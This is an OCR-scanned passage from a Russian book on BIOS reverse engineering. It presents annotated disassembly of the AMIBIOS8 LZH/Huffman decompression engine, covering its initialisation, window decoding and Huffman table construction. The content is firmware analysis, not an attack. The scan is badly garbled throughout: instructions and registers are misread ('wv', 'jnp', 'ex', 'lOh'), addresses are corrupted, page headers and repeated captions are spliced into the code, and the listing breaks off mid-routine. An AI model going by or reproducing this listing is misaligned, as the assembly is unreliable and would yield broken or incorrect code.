ДНО СТЕКА (ВЫСШИЕ АДРЕСА)ДНО СТЕКА (ВЫСШИЕ АДРЕСА)ВЕРШИНА СТЕКА (НИЗШИЕ АДРЕСА)ВЕРШИНА СТЕКА (НИЗШИЕ АДРЕСА)Рис. 5.6. Значения стека во время исполнения подпрограммы _j27Рис. 5.6. Значения стека во время исполнения подпрограммы _j27
ДНО СТЕКА (ВЫСШИЕ АДРЕСА)
ДНО СТЕКА (ВЫСШИЕ АДРЕСА)
ВЕРШИНА СТЕКА (НИЗШИЕ АДРЕСА)
ВЕРШИНА СТЕКА (НИЗШИЕ АДРЕСА)
Рис. 5.6. Значения стека во время исполнения подпрограммы _j27
Рис. 5.6. Значения стека во время исполнения подпрограммы _j27
Листи г 5.36. Процедура обработчика области распаковщика
8000:А091 decomp_block_entry proc near
; По возврату: ds = 0.; По возврату: ds = 0.8000:А091callinit_decamp_ngine
; По возврату: ds = 0.
; По возврату: ds = 0.
8000:A094callcopy_decomp_result
8000:A097callcall_F000_0000
8000:A09Aretn
8000:A09A decomp_block_entry endp
Инициализация движка распаковщика
Процесс инициализации движка распаковщика довольно сложен. Чтобы понять, что здесь происходит, необходимо внимательно исследовать ход исполнения этого кода. Код инициализации движка распаковщика показан Листинге 5.37. *
инг 5.37. Подщю грамма инициализации движка распаковщика
о000:Д44о 6°0О:А44о d°C0:A442 ®lJ°0;A444 '^0:Д444 '"''00:д447
^'-:А449
init_decomp_ngine proc near; Вход в область распаковщика,
хогах,ах
moves,ах
assume es:_12000 movsi,0F349h
movax,cs
mov ds, ax; ds = cs
214
Часть II. Обратная разработка BIOS материнской пла^
8000:А44В
assume ds:decomp_block
8000:А44В
mov ax, [si + 2]; ax = Длина заголовка
8000:А44Е
mov edi, [si + 4]; edi = Адрес назначения
8000:А452
mov ecx, [si + 8]; ecx = Счетчик байтов
8000:А452
;движка распаковки
8000:А456
add si, ах; Указываем на движок
8000:А456
,- распаковщика
8000:А458
movzx esi, si
8000:А45С
rep movs byte ptr es:[edi], byte ptr [esi]
8000:А45С
; Копируем движок распаковщика в
8000:А45С
; сегмент 1352h.
8000:A45F
xor eax, eax
8000:А4б2
mov ds, ax
8000:А4б4
assume ds:_12000
8000:А464
mov ax, cs
8000:А4б6
shl eax, 4; eax = cs « 4
8000:А4бА
mov si, 0F98Ch
8000:A46D
movzx esi, si
8000:А471
add esi, eax; esi = Адрес источника
8000:А474
mov edi, 120000b; edi =. Адрес назначения
8000:А47А
movcs:decomp_dest_addr, edi
8000:А480
call decomp_ngine_start
8000:А485
re tn
8000:А485
init_decomp_ngine endp
8000:F349
db 1
8000:F34A
db 0
8000:F34B
dwОСЬ; Длина заголовка
8000:F34D
dd13520b; Физический адрес назначения
8000:F34D
; движка распаковщика.
8000:F351
dd637b; Размер движка распаковщика
8000:F351
; в байтах.
8000:F355
db 66h ; f; Первый байт движка
8000:F355
; распаковщика.
8000:F356
db 57h ; W
1352:0000
decomp_ngine_start proc far;
1352:0000
push edi; Адрес назначения
1352:0002
push esi; Адрес источника
1352:0004
call expand
1352:0007
add sp, 8; Разрушаем параметры в стеке.
1352:000A
retf
1352:000A
decomp_ngine_start endp
качестве движка распаковщика в AMIBIOS8 используется распаковщик ^д/LZH, похожий на распаковщик архиватора AR и на распаковщик Award qiOS- Но при этом, заголовок упакованного кода в AMI BIOS отличается от заГоловка упакованного компонента Award BIOS. Таким образом, код для обработки заголовка упакованных компонентов отличается от обычного кода для работы с алгоритмом LHA/LZH. Тем не менее, основные характеристики алгоритма упаковки остались те же, т. е. сначала данные сжимаются с помо- щьЮ алгоритма Лемпель-Зива, а результаты этого сжатия обрабатываются алгоритмом Хаффмана. Код движка распаковщика довольно объемистый, как видно в листинге 5.38.
Листинг 5.38. Код движка распаковщика сжатых компонентов AMI BIOS
~А^тм/д^-вй»^™^^^М-,. ..
1352:000В
1352:000В
1352:000В
1352:000В
1352:000В
expand proc near; Часть строк кода пропущена для
; краткости
; src_addr = dword ptr 4
; dest_addr = dword ptr 8
1352:000В
push bp
1352:ОООС
mov bp, sp
1352:000Е
pushad
1352:0010
mov eax, [bp + src_addr]
1352:0014
mov ebx, [bp + dest_addr]
1352:0018
mov ex, sp
1352:ОО1А 1352:ОО1С
1352:OO1F 1352:0021 1352:0024 1352:0026 1352:0028 1352:0029 1352:002А 1352”:002С 1352:Q02D 1352:002Е 1352:Q031 1352:0031 1352:0032 1352:ООЗЗ 1352:0035 1352:0039
movdx,ss
movsp,453h
movss,sp;ss=453h
movsp,OEFFOh;ss:sp=453:EFF0h
pushebx
pusheax
pushex
pushdx
mov bp, sp pusha push ds push 453h
pop ds; ds = 453h — сегмент временной памяти.
push es xor ex, ex movmatch_length, ex
movbit_position, ex
$3ак 1387
216
Часть II. Обре
\тная разработка BIOS материнской платЬ(
1352:003D 1352:0041 1352:0045 1352:0049
1352:0048 1352:0051 1352:0055
movbit_buf, ex
mov_byte_buf, ex
movword_453_8, ex
movblocksize, ex
movmatch_pos, ex
movesi, [bp + src_addr]
push0
1352:0057 1352:0058 1352:0058 1352:005D 1352:0062 1352:0068 1352:006D 1352:0071 1352:0076
pop es assume es:_12000 movecx, es:[esi]
movhdr_len?, ecx
mov ecx, es:[esi + 4] mov cnprssd_src_size, ecx add esi, 8 mov src_byte_ptr, esi sub hdr_len?, 8
; es = 0
1352:007C
1352:007E
1352:0081
1352:0087
1352:0089
1352:0089
1352:0089
mov cl, lOh call fill_bit_buf enp cnprssd_src_size, 0 jz short exit
next_window: mov edi, cmprssd_src_size
; Считываем 16 битов.
1352:OOSE
enp edi, 8192
; Размер окна — 8 Кбайт
1352:0095
1352:0097
1352:009A
1352:009A
jbe short cnprssd_size_lt6 mov di, 8192
cnprssd_size_lte_wndow_size:
i_wndow_size
1352:009A
1352:009В
push di call decode
; Размер скользящего окна
1352:009E
1352:009E
add sp, 2
; Выталкиваем содержание per.
; di, протолкнутое раньше.
1352:00Al 1352:00Al 1352:00A5 1352:00A8 1352:00AA
1352:00AE
movzx ecx, di
mov ebx, ecx
jexz short no_decoded_byte mov edi, [bp + dest_addr] add [bp + dest_addr], ecx
; есх = Количество
; декодированных байтов.
1352:0082
mov esi, offset window
; ds:16 = Начало буфера окна.
1352:0088
1352:0088
rep movs byte ptr es: [edi],
byte ptr [esi]
; Копируем окно.
1352:00ВВ
мда 5. Реализация BIOS материнской платы
1352:00ВВ
no_decoded_byte:
1352:00ВВ
sub cnprssd_src_size, ebx
1352:00С0
ja short next_window
1352:00С2
1352:00С2
exit:
1352:00С2
pop es
3352:00СЗ
assume es:nothing
1352:00СЗ
pop ds
1352:0004
popa
1352:0005
pop dx
1352:00С6
pop ex
1352:00С7
mov ss, dx
1352:00С9
mov sp, ex
1352:00СВ
popad
1352:00CD
pop bp
1352:00СЕ
retn
1352:00СЕ
expand endp
; sp = -8
1352:00СЕ
1352:00CF
decode proc near
1352:00CF
1352:00CF
; window_size = word ptr 4
1352:00CF
1352:00CF
push ip
1352:00D0
mov bp, sp
1352:00D2
push di
1352:00D3
push si
1352:0004
xor si, si
1352:0006
mov dx, [bp + window_size]
1352:0009
1352:0009
copy_match_byte:
1352:0009
dec match_length
1352:0000
js short no_match_byte
1352:00DF
mov bx, match_pos
13S2:00E3
mov al, window [ bx ]
; Копируем совпадающие
^352:00ЕЗ
; элементы словаря.
^2:00E7
movwindow [si], al
; Окно по адресу ds:[16h] -
1352:00E7
; ds:[2016h]
^з-.ооев
lea ax, [bx + 1]
^^2;00EE
and ah, iFh
; byte_match_pos % window_size
13b2:00EE
; (mod 8 KB)
^^2:00Fl
mov match_pos, ax
^^2:Q0F4
inc si
; Указывает на следующий
1352:00F4
; байт в окне.
1352:00F5
crop si, dx
; Проверяем, достигнут ли
1352:00F5
; размер окна.
1352:0OF7
jnz short copy_match_byte
1352:00F9
pop si
1352:00FA
pop di
1352:00FB
leave
1352:00FC
retn
1352:00FD
no_match_byte:
1352:00FD
crop blocksize, 0
1352:0102
jnz short no_tables_init
1352:0104
mov dx, bit_buf
1352:0108
mov cl, lOh
; Выбираем 16 битов из источника.
1352:010A
call fill_bit_buf
1352:010D
mov ax, dx
1352:010F
mov blocksize, ax
1352:0112
push 3
; Достигли предела?
1352:0114
push 5
. -tbit
1352:0116
push 13h
; NT
1352:0118
call read_match_pos_len
1352:011В
call read_code_len
1352: OUE
push OFFFFh
; -1 - предел?
1352:0120
push 4
; PBIT
1352:0122
push OEh
; NP (min_intrnl_node в индексе
1352:0122
; match_byte_ptr_tbl)
1352:0124
call read_match_pos_len
1352:0127
add sp, OCh
; Выталкиваем со стека параметры
1352:0127
; помещенные туда ранее
1352:012A
1352:012A
no_tables_init:
; . . .
1352:012A
mov bx, bit_buf
1352:012E
shr bx, 3
; Ьх /= 8
1352.-012E
; (Индекс внутреннего узла
1352:012E
; в дереве)
1352:012E
; max(bx) = lFFFh/8191d (8 КВ)
1352:0131
andbl, OFEh
; Округляем в сторону четного значения
1352:0134
dec blocksize
1352:0138
mov bx, leaf_tbl[bx]
1352:013C
mov ax, 8
; ах = Битовая маска
1352:013F
1352:013F
next_bit:
1352:013F
1362:013F
стр
bx, IFEh
; Проверяем, внутренний или ; родительский узел?
^52:0143
jb
short is_leaf_node
1352:0145
add
bx, bx
; bx *= 2 (Индекс внутреннего узла)
1352:0147
test
bit_buf, ax
1352:014В
jz
short go_left
; (Полагаем осталось 0)
1352:O14D
mov
bx, child_l[bx]
; Перемещаемся вправо по
1352:O14D 1352:0151
shr
ax, 1
; таблице дерева.
1352:0153
1352:0155
jnp
short next_bit
go_left
1352:0155
1352:0155
mov
bx, child_0[bx]
; Перемещаемся влево по
1352:0155
1352:0159
shr
ax, 1
/таблице дерева.
1352:015В
1352:015D
jnp
short next_bit
is_leaf_
„node:
1352:0150
1352:0150
' mov
cl, leaf_bitlen_tbl[bx]
1352:0150
; cl = bitlen
1352:0161
mov
dx, bx
; dx = Индекс листа
1352:0163
call
fill_bit_buf
1352:0166
cmp
dx, OFFh
1352:01бА
ja
short is_match_length
; true_byte_val или совпадение?
1352:016С
mov
window[si], dl
; buffer[si] = dl -->
1352:016С
1352:0170
inc
si
; leaf_idx(dl_val) = code
1352:0171
cmp
si, [bp + window_size]
1352:0174
jnz
short no_match_byte
1352:0176
pop
si
1352:0177
Pop
di
1352:0178
leave
1352:0179
1352:О17А
1352:017А
re tn
is_match_length:
;
1352:017а
sub
dx, OFDh ; 'n'
1352:017Е
mov
match_length, dx
1352:О182
1352:0182
call
decode_match_pos
; Возвращаемое значение в ах
; (ах = curr_idx - match_pos)
^2:0185
mov
bx, si
; bx = Текущая позиция в окне
4"352:0187
sub
bx, ax
'352:0189
dec
bx
; bx = match_pos
220
Часть II. Обратна!
я разработка BIOS материнской пла^.
1352:018А
and bh, lFh;
bx %= window_size (mod 8 KB)
1352:0180
1352:0190
1352:0190
mov dx, [bp + window_size]
copy_next_match_byte:;
1352:0190 1352:0194 1352:0198 1352:019С 1352:0190 1352:01А1
1352:01А2
dec match_length js no_match_byte
mov al, window[bx]
inc bx
movwindow [si], al
inc si
and bh, lFh;
bx %= window_size (mod 8 Кбайт)
1352:01А5
cmp si, dx;
Достигнут конец окна?
1352:01А7 1352:01А9 1352:01АО 1352:01АЕ 1352:01AF 1352:01В0 1352:0180 1352:0181 1352:0181
jnz short copy_next_match_byte mov match_pos, bx pop si pop di leave retn
decode endp
; п О Д П P О Г P ;
А М М А
1352:0181
; На выходе: ax = (current_position - match__position)
1352:0181
1352:0181
decode_match_pos proc near;
1352:0181
1352:0182
1352:0182
push si
movzx bx, byte ptr bit_buf + 1
bx = hi_byte(bit_buf)
1352:0187
add bx, bx;
bx *= 2 (bx = позиция в
1352:0187
таблице символов)
1352:0189
1352:0180
movsi, match_pos_tbl[bx]
movax, 80h ; 'A';
ах = bit_mask
1352:01С0
1352:01С0
next_bit:;
1352:0100
1352:0103
cmp si, OEh
jb short leaf_pos_found;
leaf index (bit_len) is in si
1352:0105
add si, si;
si *= 2
1352:0107
1352:0108
1352:0100
test bit_buf, ax
jzshort bit_is_0
mov si, child_l[si];
si = right[si]
1352:0101
1352:0103
1352:0105
shr ax, 1
jmp short next_bit
тава 5. Реализация BIOS материнской платы
1352:01°5
bit_is_0:; ...
1352:01D5
mov
si, child_0[si];
si = left[si]
1352:01D9
shr
ax, 1
1352:01DB
1352:01DD
jnp
short next_bit
*
1352:01DD
leaf_pos_found:;
1352:01DD
mov
cl, match__pos_len_tbl [ si ]
1352:O1E1
call
fill_bit_buf
1352:01E4
or
si, si
1352:01E6
mov
ax, si
1352:01E8
jz
short exit
1352:01EA
lea
ex, (si - 1]
1352:DIED
mov
si, 1
1352:01F0
shl
si, cl
1352:01F2
mov
al, cl
1352:01F4
mov
cl, lOh
1352:01F6
sub
cl, al
1352:01F8
mov
dx, bit_buf
1352:01FC
shr
dx, cl
1352:01FE
mov
cl, al;
cl = code_bit_len
1352:0200
call
fill_bit_buf
1352:0203
mov
ax, dx
1352:0205
add
ax, si
1352:0207
1352:0207
exit:
1352:0207
pop
si
1352:0208
retn
1352:0208
decode_match_pos endp
1352:0208
1352:0209
read_match_pos_len proc near;
1352:0209
1352:0209
table_size = word ptr -8
1352:0209
matchpos_len_idx = word ptr -6
1352:0209
dfault_symbol_ptr_len = word ptr
1352:0209
1352:0209
1332:0209
1352:0209
symbol_bitlen = word ptr 4 symbol_ptr_len = byte ptr 6 threshold = word ptr 8
1352:0209
enter
8, 0;
8 байт для локальных
13з2:0209
1352:020D
push
di
переменных
1352:020E
push
si
222
Часть II. Обратная разработка BIOS материнской плагп^.
1352:020F 1352:020F 1352:020F
1352:0212
1352:0215
mov al, [bp+synibol_ptr_len]
; al = Количество битов
; для считывания
call get_bits
mov [bp + table_size], ax
1352:0218
or ax, ax
1352:021A
jnz short table_size_not_0
1352:021C
mov al, [bp + synibol_ptr_len]
1352:021F
call get_bits
1352:0222
mov [bp + dfault_symbol_ptr_len], ax
1352:0225
push ds
1352:0226
pop es; es = ds
1352:0227
assume es:scratch_pad_seg
1352:0227
mov ex, [bp + symbol_bitlen]
1352:022A
jexz short min_intrnl_node_idx_is_0
1352:022C
mov di, offset match_pos_len_tbl ;
1352:022F
xor ax, ax
1352:0231
shr ex, 1
1352:0233
rep stosw; Инициализируем таблицу
1352:0233
; нулями.
1352:0235
jnb short min_intrnl_node_idx_is_0
1352:0237
1352:0238
stosb
1352:0238 min_intrnl_node_idx_is_0:
1352:0238
mov ax, [bp + dfault_symbol_ptr_len]
1352:023В
mov ex, 256; Размер таблицы — 256 слов
1352:023E
mov di, offset match_pos_tbl
1352:023E
; Байты для таблицы символов
1352:0241
rep stosw
1352:0243
pop si
1352:0244
pop di
1352:0245
leave
1352:0246
1352:0247 ;
re tn
1352:0247 table_size_not_0:
1352:0247
1352:024C
mov [bp + matchpos_len_idx], 0
1352:024C nxt_matchpos_len_idx:
1352:0240
mov ax, [bp + matchpos_len_idx]
1352:024F
emp [bp + table_size], ax
1352:0252
jle short matchpos_bitlen_tbl_done
1352:0254
mov si, bit_buf
1352:0258 ^352:025В ^352:025Е 1352:О26О 1352:О263 1352:О263 1352:0268 1352:026А
shr si, 13; с = bitbuf » (BITBUFSIZ - 3)
cmp si, 7 jnz short not_max_index mov di, 1000H; mask = 1U « (BITBUFSIZ-1-3)
test byte ptr bit_buf + 1, lOh
; hi_byte(bit_buf) & 0x10 jzshort not_max_index
1352:026А |352:О26А 1352:026В 1352:026D 1352:0271 1352:0273 1352:0273 1352:0273 1352:0275 1352:0278
inc_index:; ...
inc si
shr di, 1
test bit_buf, di
jnz short inc_index
not_max_index:; ...
movcl, 3
cmpsi, 7
jlshort get_src_bits
1352:027А
lea ex, [si - 3]; cl = число битов, которые
1352:027А
1352:027D
;нужно прочитать
1352:0270
get_src_bits:; ...
1352:0270
call fill_bit_buf
1352:0280
mov bx, [bp + matchpos_len_idx]
1352:0283 1352:0286 1352:0288 1352:0280 1352:028F 1352:0292 1352:0294 1352:0296 1352:0299 1352:029С 1352:029Е 1352:029е 1352:029Е 1352:029F 1352:02А1 1352:02А4 1352:02А6
1352:02А6
inc[bp+ matchpos_len_idx]
movax,si
mov match_pos_len_tbl[bx], al
movax,[bp + threshold]
cmp[bp+ matchpos_len_idx], ax
jnz short nxt_matchpos_len_idx
moval, 2
call get_bits
movbx, [bp + matchpos_len_idx]
movdi, ax
nxt_matchpos_len_tbl_idx:; . . .
decdi
jnsshortindex_is_positive
mov[bp +matchpos_len_idx],bx
jnpshortnxt_matchpos_len_idx
index_is_positive:; . ..
1352:02А6 1352:02АВ 1352:02АС 1352:02АЕ
wv match_pos_len_tbl [bx], 0
inc bx
jmp short nxt_matchpos_len_tbl_idx
1352:02АЕ
matchpos_bitlen_tbl_done:; ...
1352:02АЕ
wv bx, ax
1352:0280
cinp [bp + synibol_bitlen], ax
1352:0283
jle short init_tree
1352:0285
xor ax, ax
1352:0287
wv ex, [bp + synibol_bitlen]
1352:02ВА
sub ex, bx
1352:02ВС
lea di, match_pos_len_tbl [bx] ;
1352:02С0
push ds
1352:02С1
pop es; es = ds
1352:02С2
shr ex, 1; cx/2
1352:02С4
rep stosw; Zero init matchpos_bitlen_tbl
1352:02Сб
jnb short init_tree
1352:02С8
1352:02С9
stosb
1352:02С9
init_tree:; —
1352:02С9
push ds
1352:О2СА
push offset match_pos_tbl
1352:02CD
push 8; Биты таблицы
1352:02CF
push ds
1352:02D0
push offset match_pos_len_tbl
1352:02D3
push [bp + symbol_bitlen]
1352:02D6
call make_table
1352:02D9
add sp, 12; Выталкиваем параметры
1352:02D9
; co стека
1352:02DC
pop si
1352:02DD
pop di
1352:02DE
leave
1352:02DF
retn
1352:02DF
1352:02DF
read_match_pos_len endp
1352:02E0
1352:02E0
read_code_len proc near; ...
1352:02E0
; min_intrnl_node_idx = word ptr -6
1352:02E0
1352:02E0
; tbl_index = word ptr -4
1352:02E0
enter 6, 0
1352:02E4
push di
о б реализация BIOS материнской платы;
^2:02Е5 135*
1352:О2Е6
.з52:02Е8
push
si
wv
al, 9; al = CODE_BITS
call
get_bits; Считываем 9 битов.
1352:02ЕВ
wv
[bp + min_intrnl_node_idx], ax
1352:02ЕЕ
or
ax, ax
1352:02FO
jnz
short code_len_not_zero
1352:02F2
push
ds
3352:02F3
pop
es; es = сегмент временной памяти
1352:02F4
xor
ax, ax
1352:02F6
wv
ex, IFEh
1352:02F9
wv
di, offset leaf_bitlen_tbl
1352:02FC
rep stosw; Zero init leaf_bitlen_table[]
1352:02FC
; (@scratchpad_seg:3006h)
1352:02FE
wv
al, 9
1352:0300
call
get_bits
1352:0303
push
ds
1352:0304
pop
es
1352:0305
wv
ex, 4096
1352:0308
wv
di, offset leaf_tbl
1352:030В
rep stosw; Zero init internal_node_tbl
1352:030В
; (8 KB @ scratchpad_seg:3A0Dh)
1352:030D
pop
si
1352:030E
pop
di
1352:030F
leave
1352:0310
1352:0311
1352:0311
retn
code_len_not_zero:; ...
1352:0311
1352:0313
xor
bx, bx
3-352:0313
next_table_index:; ...
3-352:0313
wv
[bp + tbl_index], bx
3-352:0316
cnp
[bp + min_intrnl_node_idx], bx
3352:0319
jle
short init_leaf_bitlen_tbl
3352:031В
wvzx
si, byte ptr bit_buf + 1
3352:0320
add
si, si; si *= 2
1352:0322
wv
si, match_pos_tbl [si]; wv si, [match_pos_tbl + si]
1352:0326
3352:0329
wv
ax, 80h ; 'A'; ax = bit_mask
3352:0329
next_bit:; ...
3352:0329
crop
si, 13h
i352:032C
jl
short bit exhausted
^352:032E
shl
si, 1si *= 2
1352:0330
test bit_buf, ах
1352:0334
jzshort go_left
1352:0336
mov si, child_l[si]; mov si, [child_l + si]
1352:033А
shr ax, 1
1352:033С
1352:033Е
jmp short next_bit
1352:033Е
go_left:; ...
1352:033Е
mov si, child_0[si]; mov si, [child_0 + si]
1352:0342
shr ax, 1
1352:0344
1352:0346
jnp short next_bit
1352:0346
bit_exhausted:;
1352:0346
mov cl, match_pos_len_tbl[si]
1352:034А
call fill_bit_buf
1352:034D
cmp si, 2
1352:0350
jgshort node_idx_gt_2
1352:0352
mov ax, 1
1352:0355
orsi, si
1352:0357
jzshort node_idx_is_0
1352:0359
cmp si, 1
1352:035С
jnz short node_idx_is_l
1352:035Е
mov al, 4
1352:0360
call get_bits
1352:0363
add ax, 3
1352:0366
jnp short node_idx_is_0
1352:0368
1352:0368
node_idx_is_l:; . ..
1352:0368
mov al, 9
1352:036A
call get_bits
1352:036D
1352:0370
add ax, 14h
1352:0370
node_idx_is_0:; ...
1352:0370
1352:0373
mov bx, [bp + tbl_index]
1352:0373 next_leaf:; . ..
1352:0373
dec
ax
1352:0374
js
short next_table_index
1352:0376
mov
leaf_bitlen_tbl[bx], 0
1352:037В
inc
bx
1352:037C
jnp
short next_leaf
1352:037E
1352:037Е node idx at 2:
^аЯ 5. Реализация BIOS материнской платы
1352:037Е
mov bx, [bp + tbl_index]
1352:0381
mov ax, si
1352:0383
sub ax, 2
;352:О386
mov leaf_bitlen_tbl[bx], al
^352:038А
inc bx
1352:038В 1352:O38D
jmp short next_table_index
1352:0380
init_leaf_bitlen_tbl:
; . . .
1352:038D
mov ex, IFEh
1352:0390
sub ex, bx
1352:0392
jle short init_tree
1352:0394
lea di, leaf_bitlen_tbl[bx]
1352:0398
push ds
1352:0399
pop es
1352:039A
xor ax, ax
1352:039C
shr ex, 1
1352:039E
rep stosw
1352:O3AO
jnb short init_tree
1352:03A2
1352:03A3
stosb
1352:03A3
init_tree:
; . • •
1352:03A3
push ds
1352:03A4
push offset leaf_tbl
1352:03A7
push OCh
1352:03A9
push ds
1352.-03AA
push offset leaf_bitlen_tbl
1352:03AD
push IFEh
1352:0380
call make_table
1352:0383
add sp, OCh
1352:0386
pop si
1352:0387
pop di
1352:0388
leave
1352:0389
retn
1352:0389
1352:0389
read_code_len endp
1352:03BA
1352:03BA
make_table proc near
; ...
1352:03BA
;start_0 = word ptr -8 Oh
^2:03BA
;start_l = word ptr -7Eh
1352:03BA
;start_2 = word ptr -7Ch
1352:03BA
; __weight_0 = word ptr -5Ch
1352:03BA
; __weight_l = word ptr -5Ah
1352:03ВА
end_of„weight? = word ptr -3Ch
1352:03ВА
count_0 = word ptr -3Ah
1352:03ВА
count_l = word ptr -38h
1352:03ВА
end_of„count = word ptr -lAh
1352:03ВА
jutbits = word ptr -18h
1352:03ВА
„„mask = word ptr -16h
1352:03ВА
p = word ptr -14h
1352:03ВА
ch = word ptr -lOh
1352:03ВА
currentjpos = word ptr -OEh
1352:03ВА
i = word ptr -OCh
1352:03ВА
к = word ptr -OAh
1352:03ВА
child_O_idx = word ptr -8
1352:03ВА
child_l_idx = word ptr -6
1352:03ВА
tbl_idx = dword ptr -4
1352:03ВА
leaf_count = word ptr 4
1352:03ВА
leaf_bitlen_tbl = dword ptr 6
1352:03ВА
tbl_bitcount = word ptr OAh
1352:03ВА
table = dword ptr OCh
1352:03ВА
1352:03ВА
enter
128, 0
1352:03ВЕ
push
di
1352:03BF
push
si
1352:03С0
xor
ax, ax;
Инициализируем 16 слов нулями
1352:03С0
([bp - 38h]- [bp - 18h])
1352:03С2
mov
ex, 16
1352:03С5
lea
di, [bp +count_l];
Count @ scratchpad segment.
1352:03С5
Примечание:
1352:03С5
;scratchpad_seg равняется
1352:03С5
stack_seg.
1352:03С8
push
ds
1352:03С9
pop
es;
es = ds
1352:03СА
rep stosw
1352:03СС
xor
si, si
1352:03СЕ
mov
ex, [bp + leaf_count]
1352:0301
or
ex, ex
1352:0303
jz
short leaf_count_is_0
1352:0305
mov
di, word ptr [bp + leaf_bitlen_tbl]
1352:0308
mov
ds, word ptr [bp + leaf_bitlen_tbl + 2]
1352:030В
1352:0308
nxt_lea f_bi 11 en_tbl_entry:;
• . .
1352:0308
mov
bx, di
1352:0300
add
bx, si
^ 5. Реализация BIOS материнской платы
229
13,2;озог
mov
Ы, [bx];
bl = [si + di]
1352 = O3E1 -352:ОЗЕЗ ,352:ОЗЕ5 р^^ЗЕВ
sub
bh, bh;
bh = 0
add lea add
bx, bx;
ax, [bp +count_0] bx, ax
bx = bl*2
1352:ОЗЕА ;352:ОЗЕА 1352:ОЗЕА 1352:ОЗЕА 1352:03ED 1352:ОЗЕЕ
inc
inc cmp
word ptr ss:[bx];
si
si, ex
значение count[bx]++ - count такое же как и count data_seg потому что ds и ss указывают на один и тот же сегмент.
1352:O3FO 1352:03F2
jb
push
short nxt_leaf_bitlen_tbl_ es
.entry
1352:03F3
1352:03F3
1352:03F4
pop
ds;
Восстанавливаем ds, чтобы указывал на scratchpad_seg.
1352:03F4
1352:03F4
leaf_count_is_0:;
mov [bp +start_l], 0
1352:03F9
1352:O3FC
1352:O3FF
1352:0402
mov lea lea
dx, 1;
bx, [bp + start_2] di, [bp + count_l]
dx = bit_length
1352:0402 1352:0402 1352:0404 1352:0406
1352:0408 1352:04OA
next_star t_tbl_entry:;
movcl,16
subcl,dl
movax,[di]
shlax,cl
add ax, [bx - 2]
1352:040D
mov
[bx], ax
1352:040F
1352:040F
1352:0412
add
inc
bx, 2;
dx
Указываем на следующее слово в start_tbl[].
1352:0413
13^:0413
1352:0416
add
lea
di, 2;
ax, [bp + __end_of_count]
Указываем на следующее слово в count[]
1352:0419
cmp
di, ax;
Достигнут предел count[]?
^2:041B
1352:041D
1352:0420
jbe mov mov
short next_start_tbl_entrj dx, [bp + tbl_bitcount] ax, 16
1352:0423 1352:0423 ^332;0425
sub
mov
ax, dx;
[bp +jutbits], ax
jutbits, i.e., ах = 16 - tbl_bitcount
230
Часть II. Обратная разработка BIOS материнской nnarnLi
1352:0428
mov si, 1
1352:042В
спр dx, si; tbl_bitcount == 1
1352:0420
jb short tbl_bitcount_lt_l
1352:042F
lea ax, [bp + _„weight_l]
1352:0432
mov word ptr [bp + tbl_idx + 2], ax
1352:0435
1352:0438
lea di, [bp +start_l]
1352:0438
nxt_weight_entry:; ...
1352:0438
mov cl, byte ptr [bp +jutbits]
1352:043В
shr word ptr [di], cl
1352:0430
mov cl, byte ptr [bp + tbl_bitcount]
1352:0440
mov ax, si
1352:0442
sub cl, al
1352:0444
mov ax, 1; ax = 1U
1352:0447
shl ax, cl
1352:0449 tbl_idx +
mov bx, word ptr [bp + 2]
1352:044с
add word ptr [bp + tbl_idx +2], 2
1352:0450
mov [bx], ax
1352:0452
add di, 2; Указываем на следующий элемент
1352:0452
; в start_tbl[]
1352:0455
inc si
1352:0456
cmp si, [bp + tbl_bitcount]
1352:0459
jbe short nxt_weight_entry
1352:045В
1352:045В
tbl_bitcount_lt_l:; ...
1352:045В
cmp si, 16
1352:045E
ja short dont_init_weight
1352:0460
mov di, si
1352:0462
add di, si
1352:0464
1352:0467
lea bx, [bp + di + __weight_0]
1352:0467
next_weight_entry:; .. .
1352:0467
mov cl, lOh
1352:0469
mov ax, si
1352:046В
sub cl, al
1352:046D
mov ax, 1; ax = 1U
1352:0470
shl ax, cl
1352:0472
mov [bx], ax; ds: [bx] = bitmask
1352:0474
add bx, 2; Переходим к следующему
1352:0474
; элементу в weight[].
1352:0477
inc si
^аоЯ 5. Реализация BIOS материнской платы
1352:0478
lea
ax, [bp + end_of„weight?]
1352:047В
cmp
bx, ax
1352:047D
jbe
short next_weight_entry
.352:047F
1352:047F
dont_init_weight:; ...
1352:047F
mov
si, [bp + tbl_bitcount]
1352:0482
add
si, si
1352:0484
mov
bx, [bp + si +start_l]
1352:0487
mov
cl, byte ptr [bp +jutbits]
1352:048A
shr
bx, cl
1352:048C
or
bx, bx
1352:04 8E
jz
short not_zro_init
1352:0490
mov
cl, byte ptr [bp + tbl_bitcount]
1352:0493-
mov
ax, 1; ax = 1U
1352:0496
shl
ax, cl
1352:0498
mov
[bp +k], ax
1352:049В
crop
ax, bx
1352:049D
jz
short not_zro_init
1352:049F
mov
ex, ax
1352:04Al
sub
ex, bx
1352:04A3
add
bx, bx; bx *= 2
1352:04A5
les
si, [bp + table]
1352:04A8
assume es:nothing
1352:04A8
xor
ax, ax
1352:04AA
lea
di, [bx + si]
1352:04AC
rep
stosw; Инициализируем
1352:04AC
1352:04AE
1352:04AE
; intrnl_node_tbl[] нулями.
not_zro_init:; ...
1352:04AE
mov
ax, [bp + leaf_count]
1352:0481
mov
[bp +current_pos], ax
1352:04B4
mov
cl, 15
'332:0486
sub
cl, byte ptr [bp + tbl_bitcount]
^52:0489
mov
dx, 1
1352:04BC
shl
dx, cl
^2:04BE
mov
[bp + __mask], dx
1352:04ci
mov
[bp + ch], 0
1352;04c6
or
ax, ax; leaf count == 0
^352:04c8
"nit-intrr
jnz
short
lal nodes
'352:04ca
jrop
exit
^^2:04cd
1352:04CD
1352:04CD 1352:04CD 1352:0400 1352:0403 1352:0406 1352:0408
1352:04DA 1352:04DC
1352:04DF 1352:04DF
1352:04DF 1352:04DF
1352:O4E1 1352:04E3
1352:04E6 1352:04E6
1352:04E9 1352:04EC
1352:04EE 1352:04F0
1352:04F2 1352:04F5
1352:04F8
1352:04FA fill_intrr
1352:04FC 1352:04FF
1352:04FF 1352:04FF
1352:04FF 1352:0501 1352:0503 1352:0506 1352:0509
1352:050В 1352:0500 1352:0510 1352:0512 1352:0515 1352:0515 1352:0515
init_intrnal_nodes:; ...
lesbx,[bp+leaf_bitlen_tbl]
addbx,[bp+ch]
movbl,es:[bx];bl
subbh,bh;bh
orbx,bx
jnz short init_intrnl_node_code jmp nextch
= leaf_bitlen_tbl [ch]
= 0
init_intrnl_node_code:;
mov si, bx
add si, bx;
movdx, [bp + si + start_0]
adddx, [bp + si* + ^„weight-O]
cmp[bp + tbl_bitcount], bx -
jbshort tbl_bitcount_lt_len
movsi, bx
addsi, bx
movax, [bp + si +start_0]
mov[bp +i], ax
cropax, dx
jbshort
